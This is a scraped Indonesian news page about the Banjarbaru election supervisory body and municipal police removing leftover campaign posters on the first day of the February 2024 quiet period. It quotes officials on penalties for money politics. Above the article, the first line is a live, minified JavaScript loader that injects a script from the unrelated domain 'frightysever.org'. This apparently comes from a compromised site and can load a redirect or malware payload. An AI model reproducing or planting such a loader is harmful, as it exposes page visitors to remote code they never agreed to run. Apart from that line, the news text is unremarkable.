(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Tak Dilepas Pemilik, Baliho Caleg dan Bendera Parpol Diturunkan Bawaslu Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru menertibkan Alat Peraga Kampanye (APK) pada hari pertama masa tenang, Minggu (11/2/2024) siang.

Pada masa tenang 11-13 Februari 2024, Bawaslu bersama Satpol PP Banjarbaru menertibkan APK yang masih terpasang di jalan protokol dan wilayah lima kecamatan di Banjarbaru.

Dikatakan Koordinator Divisi Penanganan Pelanggaran dan Penyelesaian Sengketa, Hegar Wahyu Hidayat, sebagian Parpol dan Caleg telah melakukan pelepasan APK secara mandiri sampai batas waktu akhir kampanye, Sabtu (10/2/2024) pukul 23.59 Wita.

Sesuai dengan surat imbauan per tanggal 7 Februari 2024, jika masih ada APK yang tertancap maka akan ditertibkan oleh tim gabungan.

Baca juga: Masa Tenang Masih Terpasang, APK di Martapura Kota Diturunkan Pengawas

Bawaslu Kota Banjarbaru dibackup Satpol PP Banjarbaru menertibkan Alat Peraga Kampanye (APK) pada hari pertama masa tenang, Minggu (11/2/2024) siang. Foto: wanda

Baca juga: Krisis Iklim Tak Pernah Dibicarakan, Hati-hati Pilih Capres dan Cawapres 14 Februari Nanti

“Hari ini kita sudah mulai menertibkan APK pada masa tenang, kita bagi menjadi enam tim, dimana satu tim bergerak dari pusat kota dan lima tim konsentrasi di kecamatan,” ujar Hegar Wahyu Hidayat, kepada Kanalkalimantan.com, Minggu (11/2/2024) siang.

Hegar mengatakan, tim kota bergerak melakukan penertiban mulai dari kantor Satpol PP menuju ke jalan lingkar utara atau jalan menuju Bandara Syamsudin Noor.

Kemudian penertiban itu akan dilanjutkan ke jalan Ahmad Yani, jalan Trikora, jalan Mistar Cokrokusumo Cempaka dan jalan Ir PM Noor Sungai Ulin.

“Wilayah tersisa dilakukan oleh tim kecamatan yang dikordinasikan langsung oleh Panwaslu Kecamatan bersama PKD,” sebut dia.

Menurut Hegar, kawasan jalan lingkar utara ini masuk ke dalam prioritas karena merupakan objek vital yang berada dekat Bandara Syamsudin Noor.

“Jalan Bandara menjadi prioritas karena merupakan daerah vital dan konsentrasi peletakan pemasangan APK yang cukup padat,” jelasnya.

Baca juga: Ini Rincian Gaji Petugas KPPS dan Uang Operasional TPS

Sementara itu, katanya, APK yang telah ditertibkan nantinya akan ditampung sementara di kantor Bakesbangpol Banjarbaru untuk kemudian setelah selesai masa tenang dimusnahkan oleh Dinas Lingkungan Hidup.

“Begitu pun sampah kayu-kayu sisa maupun jenis APK, seperti banner dapat dimanfaatkan usai masa tenang selesai, dan warga bisa membersihkan dengan tidak merusaknya,” tuturnya.

Bawaslu Kota Banjarbaru dibackup Satpol PP Banjarbaru menertibkan Alat Peraga Kampanye (APK) pada hari pertama masa tenang, Minggu (11/2/2024) siang. Foto: wanda

Kepala Satpol PP Kota Banjarbaru, Hidayaturahman yang turun langsung menertibkan APK mengatakan, pihaknya membantu Bawaslu agar dalam pelepasan APK tidak sembarangan.

“Terhitung sejak hari ini memasuki masa tenang hingga dua hari ke depan kami akan menertibkan APK yang dipasang di wilayah Banjarbaru. Kita tidak ingin kawan-kawan kita menertibkan secara sembarangan secara tidak rapi,” ujar Hidayaturahman.

Dengan banyaknya personel yang terlibat, dia berharap saat masa tenang berakhir seluruh APK yang terpasang sudah habis dibersihkan.

Baca juga: Ramai Diparodikan, Ada Anggota KPPS yang Sedih dan Ada yang Tak Minder

Kembali ditambahkan Hegar, apabila di masa tenang masih ditemukan adanya kampanye maka sudah dipastikan Parpol dan Caleg tersebut melanggar secara administratif.

“Apabila masih ada segala kampanye di masa tenang jelas itu namanya melanggar, tentu akan kami tindak secara administratif,” imbuh dia.

Jika Parpol dan Caleg tersebut didapati melakukan kegiatan money politik maka sudah masuk dalam pelanggaran pidana Pemilu.

“Segala tindakan yang ada unsur money politik akan mendapatkan sanksi pidana selama 4 tahun dan denda sebanyak Rp48 juta. Untuk itu saya mengimbau pada peserta Pemilu agar tidak melakukan hal-hal yang dilarang sesuai Undang-Undang,” tuntas Hegar. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Al Ghifari

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

50 menit ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

1 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

2 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

5 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

6 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

17 jam ago

This website uses cookies.